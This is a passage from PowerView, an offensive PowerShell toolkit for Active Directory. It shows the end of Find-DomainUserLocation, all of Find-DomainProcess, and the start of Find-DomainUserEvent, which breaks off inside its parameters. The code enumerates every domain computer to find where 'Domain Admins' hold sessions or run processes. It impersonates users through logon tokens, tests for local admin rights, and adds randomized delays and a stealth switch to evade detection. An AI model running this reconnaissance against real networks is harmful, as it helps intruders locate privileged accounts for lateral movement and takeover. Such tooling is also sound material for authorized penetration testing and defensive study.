# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
|
|
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
|
|
}
|
|
|
|
ForEach ($TargetComputer in $ComputerName) {
|
|
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
|
|
if ($Up) {
|
|
$Sessions = Get-NetSession -ComputerName $TargetComputer
|
|
ForEach ($Session in $Sessions) {
|
|
$UserName = $Session.UserName
|
|
$CName = $Session.CName
|
|
|
|
if ($CName -and $CName.StartsWith('\\')) {
|
|
$CName = $CName.TrimStart('\')
|
|
}
|
|
|
|
# make sure we have a result, and ignore computer$ sessions
|
|
if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) {
|
|
|
|
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) {
|
|
$UserLocation = New-Object PSObject
|
|
$UserLocation | Add-Member Noteproperty 'UserDomain' $Null
|
|
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
|
|
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
|
|
$UserLocation | Add-Member Noteproperty 'SessionFrom' $CName
|
|
|
|
# try to resolve the DNS hostname of $Cname
|
|
try {
|
|
$CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
|
|
$UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
|
|
}
|
|
catch {
|
|
$UserLocation | Add-Member NoteProperty 'SessionFromName' $Null
|
|
}
|
|
|
|
# see if we're checking to see if we have local admin access on this machine
|
|
if ($CheckAccess) {
|
|
$Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin
|
|
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
|
|
}
|
|
else {
|
|
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
|
|
}
|
|
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
|
|
$UserLocation
|
|
}
|
|
}
|
|
}
|
|
if (-not $Stealth) {
|
|
# if we're not 'stealthy', enumerate loggedon users as well
|
|
$LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
|
|
ForEach ($User in $LoggedOn) {
|
|
$UserName = $User.UserName
|
|
$UserDomain = $User.LogonDomain
|
|
|
|
# make sure wet have a result
|
|
if (($UserName) -and ($UserName.trim() -ne '')) {
|
|
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) {
|
|
$IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress
|
|
$UserLocation = New-Object PSObject
|
|
$UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain
|
|
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
|
|
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
|
|
$UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress
|
|
$UserLocation | Add-Member Noteproperty 'SessionFrom' $Null
|
|
$UserLocation | Add-Member Noteproperty 'SessionFromName' $Null
|
|
|
|
# see if we're checking to see if we have local admin access on this machine
|
|
if ($CheckAccess) {
|
|
$Admin = Test-AdminAccess -ComputerName $TargetComputer
|
|
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
|
|
}
|
|
else {
|
|
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
|
|
}
|
|
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
|
|
$UserLocation
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if ($TokenHandle) {
|
|
Invoke-RevertToSelf
|
|
}
|
|
}
|
|
|
|
$LogonToken = $Null
|
|
if ($PSBoundParameters['Credential']) {
|
|
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
else {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
|
|
}
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
# only ignore threading if -Delay is passed
|
|
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
|
|
|
|
Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)"
|
|
Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter"
|
|
$Counter = 0
|
|
$RandNo = New-Object System.Random
|
|
|
|
ForEach ($TargetComputer in $TargetComputers) {
|
|
$Counter = $Counter + 1
|
|
|
|
# sleep for our semi-randomized interval
|
|
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
|
|
|
|
Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))"
|
|
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken
|
|
|
|
if ($Result -and $StopOnSuccess) {
|
|
Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
|
|
return
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
|
|
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction
|
|
$ScriptParams = @{
|
|
'TargetUsers' = $TargetUsers
|
|
'CurrentUser' = $CurrentUser
|
|
'Stealth' = $Stealth
|
|
'TokenHandle' = $LogonToken
|
|
}
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
|
|
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
|
|
}
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Find-DomainProcess {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Searches for processes on the domain using WMI, returning processes
|
|
that match a particular user specification or process name.
|
|
|
|
Thanks to @paulbrandau for the approach idea.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction
|
|
|
|
.DESCRIPTION
|
|
|
|
This function enumerates all machines on the current (or specified) domain
|
|
using Get-DomainComputer, and queries the domain for users of a specified group
|
|
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
|
|
function enumerates any current processes running with Get-WMIProcess,
|
|
searching for processes running under any target user contexts or with the
|
|
specified -ProcessName. If -Credential is passed, it is passed through to
|
|
the underlying WMI commands used to enumerate the remote machines.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
|
|
If -ComputerName is not passed, the default behavior is to enumerate all machines
|
|
in the domain returned by Get-DomainComputer.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to query for computers AND users, defaults to the current domain.
|
|
|
|
.PARAMETER ComputerDomain
|
|
|
|
Specifies the domain to query for computers, defaults to the current domain.
|
|
|
|
.PARAMETER ComputerLDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to search for computer objects.
|
|
|
|
.PARAMETER ComputerSearchBase
|
|
|
|
Specifies the LDAP source to search through for computers,
|
|
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
|
|
|
|
.PARAMETER ComputerUnconstrained
|
|
|
|
Switch. Search computer objects that have unconstrained delegation.
|
|
|
|
.PARAMETER ComputerOperatingSystem
|
|
|
|
Search computers with a specific operating system, wildcards accepted.
|
|
|
|
.PARAMETER ComputerServicePack
|
|
|
|
Search computers with a specific service pack, wildcards accepted.
|
|
|
|
.PARAMETER ComputerSiteName
|
|
|
|
Search computers in the specific AD Site name, wildcards accepted.
|
|
|
|
.PARAMETER ProcessName
|
|
|
|
Search for processes with one or more specific names.
|
|
|
|
.PARAMETER UserIdentity
|
|
|
|
Specifies one or more user identities to search for.
|
|
|
|
.PARAMETER UserDomain
|
|
|
|
Specifies the domain to query for users to search for, defaults to the current domain.
|
|
|
|
.PARAMETER UserLDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to search for target users.
|
|
|
|
.PARAMETER UserSearchBase
|
|
|
|
Specifies the LDAP source to search through for target users.
|
|
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
|
|
|
|
.PARAMETER UserGroupIdentity
|
|
|
|
Specifies a group identity to query for target users, defaults to 'Domain Admins.
|
|
If any other user specifications are set, then UserGroupIdentity is ignored.
|
|
|
|
.PARAMETER UserAdminCount
|
|
|
|
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain and target systems.
|
|
|
|
.PARAMETER StopOnSuccess
|
|
|
|
Switch. Stop hunting after finding after finding a target user.
|
|
|
|
.PARAMETER Delay
|
|
|
|
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
|
|
|
|
.PARAMETER Jitter
|
|
|
|
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
|
|
|
|
.PARAMETER Threads
|
|
|
|
The number of threads to use for user searching, defaults to 20.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-DomainProcess
|
|
|
|
Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
|
|
|
|
Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
|
|
privileged users in dev.testlab.local.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-DomainProcess -ProcessName putty.exe
|
|
|
|
Searchings for instances of putty.exe running on the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Find-DomainProcess -Domain testlab.local -Credential $Cred
|
|
|
|
Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.UserProcess
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
|
|
[OutputType('PowerView.UserProcess')]
|
|
[CmdletBinding(DefaultParameterSetName = 'None')]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DNSHostName')]
|
|
[String[]]
|
|
$ComputerName,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerDomain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerLDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerSearchBase,
|
|
|
|
[Alias('Unconstrained')]
|
|
[Switch]
|
|
$ComputerUnconstrained,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('OperatingSystem')]
|
|
[String]
|
|
$ComputerOperatingSystem,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ServicePack')]
|
|
[String]
|
|
$ComputerServicePack,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('SiteName')]
|
|
[String]
|
|
$ComputerSiteName,
|
|
|
|
[Parameter(ParameterSetName = 'TargetProcess')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ProcessName,
|
|
|
|
[Parameter(ParameterSetName = 'TargetUser')]
|
|
[Parameter(ParameterSetName = 'UserIdentity')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$UserIdentity,
|
|
|
|
[Parameter(ParameterSetName = 'TargetUser')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$UserDomain,
|
|
|
|
[Parameter(ParameterSetName = 'TargetUser')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$UserLDAPFilter,
|
|
|
|
[Parameter(ParameterSetName = 'TargetUser')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$UserSearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('GroupName', 'Group')]
|
|
[String[]]
|
|
$UserGroupIdentity = 'Domain Admins',
|
|
|
|
[Parameter(ParameterSetName = 'TargetUser')]
|
|
[Alias('AdminCount')]
|
|
[Switch]
|
|
$UserAdminCount,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$StopOnSuccess,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$Delay = 0,
|
|
|
|
[ValidateRange(0.0, 1.0)]
|
|
[Double]
|
|
$Jitter = .3,
|
|
|
|
[Int]
|
|
[ValidateRange(1, 100)]
|
|
$Threads = 20
|
|
)
|
|
|
|
BEGIN {
|
|
$ComputerSearcherArguments = @{
|
|
'Properties' = 'dnshostname'
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
|
|
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
|
|
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
|
|
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
|
|
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
|
|
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
|
|
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
|
|
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
|
|
|
|
$UserSearcherArguments = @{
|
|
'Properties' = 'samaccountname'
|
|
}
|
|
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
|
|
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
|
|
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
|
|
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
|
|
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
|
|
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
|
|
|
|
|
|
# first, build the set of computers to enumerate
|
|
if ($PSBoundParameters['ComputerName']) {
|
|
$TargetComputers = $ComputerName
|
|
}
|
|
else {
|
|
Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
|
|
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
|
|
}
|
|
Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
|
|
if ($TargetComputers.Length -eq 0) {
|
|
throw '[Find-DomainProcess] No hosts found to enumerate'
|
|
}
|
|
|
|
# now build the user target set
|
|
if ($PSBoundParameters['ProcessName']) {
|
|
$TargetProcessName = @()
|
|
ForEach ($T in $ProcessName) {
|
|
$TargetProcessName += $T.Split(',')
|
|
}
|
|
if ($TargetProcessName -isnot [System.Array]) {
|
|
$TargetProcessName = [String[]] @($TargetProcessName)
|
|
}
|
|
}
|
|
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
|
|
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
|
|
}
|
|
else {
|
|
$GroupSearcherArguments = @{
|
|
'Identity' = $UserGroupIdentity
|
|
'Recurse' = $True
|
|
}
|
|
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
|
|
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
|
|
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
|
|
$GroupSearcherArguments
|
|
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
|
|
}
|
|
|
|
# the host enumeration block we're using to enumerate all servers
|
|
$HostEnumBlock = {
|
|
Param($ComputerName, $ProcessName, $TargetUsers, $Credential)
|
|
|
|
ForEach ($TargetComputer in $ComputerName) {
|
|
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
|
|
if ($Up) {
|
|
# try to enumerate all active processes on the remote host
|
|
# and search for a specific process name
|
|
if ($Credential) {
|
|
$Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue
|
|
}
|
|
else {
|
|
$Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue
|
|
}
|
|
ForEach ($Process in $Processes) {
|
|
# if we're hunting for a process name or comma-separated names
|
|
if ($ProcessName) {
|
|
if ($ProcessName -Contains $Process.ProcessName) {
|
|
$Process
|
|
}
|
|
}
|
|
# if the session user is in the target list, display some output
|
|
elseif ($TargetUsers -Contains $Process.User) {
|
|
$Process
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
# only ignore threading if -Delay is passed
|
|
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
|
|
|
|
Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
|
|
Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
|
|
$Counter = 0
|
|
$RandNo = New-Object System.Random
|
|
|
|
ForEach ($TargetComputer in $TargetComputers) {
|
|
$Counter = $Counter + 1
|
|
|
|
# sleep for our semi-randomized interval
|
|
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
|
|
|
|
Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
|
|
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential
|
|
$Result
|
|
|
|
if ($Result -and $StopOnSuccess) {
|
|
Write-Verbose "[Find-DomainProcess] Target user found, returning early"
|
|
return
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction
|
|
$ScriptParams = @{
|
|
'ProcessName' = $TargetProcessName
|
|
'TargetUsers' = $TargetUsers
|
|
'Credential' = $Credential
|
|
}
|
|
|
|
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
|
|
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Find-DomainUserEvent {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Finds logon events on the current (or remote domain) for the specified users.
|
|
|
|
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction
|
|
|
|
.DESCRIPTION
|
|
|
|
Enumerates all domain controllers from the specified -Domain
|
|
(default of the local domain) using Get-DomainController, enumerates
|
|
the logon events for each using Get-DomainUserEvent, and filters
|
|
the results based on the targeting criteria.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies an explicit computer name to retrieve events from.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies a domain to query for domain controllers to enumerate.
|
|
Defaults to the current domain.
|
|
|
|
.PARAMETER Filter
|
|
|
|
A hashtable of PowerView.LogonEvent properties to filter for.
|
|
The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
|
|
and is 'or' by default, meaning at least one clause matches instead of all.
|
|
See the exaples for usage.
|
|
|
|
.PARAMETER StartTime
|
|
|
|
The [DateTime] object representing the start of when to collect events.
|
|
Default of [DateTime]::Now.AddDays(-1).
|
|
|
|
.PARAMETER EndTime
|
|
|
|
The [DateTime] object representing the end of when to collect events.
|
|
Default of [DateTime]::Now.
|
|
|
|
.PARAMETER MaxEvents
|
|
|
|
The maximum number of events (per host) to retrieve. Default of 5000.
|
|
|
|
.PARAMETER UserIdentity
|
|
|
|
Specifies one or more user identities to search for.
|
|
|
|
.PARAMETER UserDomain
|
|
|
|
Specifies the domain to query for users to search for, defaults to the current domain.
|
|
|
|
.PARAMETER UserLDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to search for target users.
|
|
|
|
.PARAMETER UserSearchBase
|
|
|
|
Specifies the LDAP source to search through for target users.
|
|
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
|
|
|
|
.PARAMETER UserGroupIdentity
|
|
|
|
Specifies a group identity to query for target users, defaults to 'Domain Admins.
|
|
If any other user specifications are set, then UserGroupIdentity is ignored.
|
|
|
|
.PARAMETER UserAdminCount
|
|
|
|
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target computer(s).
|
|
|
|
.PARAMETER StopOnSuccess
|
|
|
|
Switch. Stop hunting after finding after finding a target user.
|
|
|
|
.PARAMETER Delay
|
|
|
|
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
|
|
|
|
.PARAMETER Jitter
|
|
|
|
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
|
|
|
|
.PARAMETER Threads
|
|
|
|
The number of threads to use for user searching, defaults to 20.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-DomainUserEvent
|
|
|
|
Search for any user events matching domain admins on every DC in the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$cred = Get-Credential dev\administrator
|
|
Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
|
|
|
|
Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
|
|
domain controller using the alternate credential
|
|
|
|
.EXAMPLE
|
|
|
|
'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
|
|
|
|
Find user events on the primary.testlab.local system where the event matches
|
|
the IPAddress '192.168.52.200' or '192.168.52.201'.
|
|
|
|
.EXAMPLE
|
|
|
|
$cred = Get-Credential testlab\administrator
|
|
Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
|
|
|
|
Find user events mathing the specified GUID AND the specified TargetLogonId, searching
|
|
through every domain controller in the current domain, enumerating each DC in serial
|
|
instead of in a threaded manner, using the alternate credential.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.LogonEvent
|
|
|
|
PowerView.ExplicitCredentialLogon
|
|
|
|
.LINK
|
|
|
|
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
|
|
[OutputType('PowerView.LogonEvent')]
|
|
[OutputType('PowerView.ExplicitCredentialLogon')]
|
|
[CmdletBinding(DefaultParameterSetName = 'Domain')]
|
|
Param(
|
|
[Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('dnshostname', 'HostName', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName,
|
|
|
|
[Parameter(ParameterSetName = 'Domain')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Hashtable]
|
|
$Filter,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[DateTime]
|
|
$StartTime = [DateTime]::Now.AddDays(-1),
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[DateTime]
|
|
$EndTime = [DateTime]::Now,
|
|
|
|
[ValidateRange(1, 1000000)]
|
|
[Int]
|
|
$MaxEvents = 5000,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$UserIdentity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$UserDomain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$UserLDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$UserSearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('GroupName', 'Group')]
|
|
[String[]]
|
|
$UserGroupIdentity = 'Domain Admins',
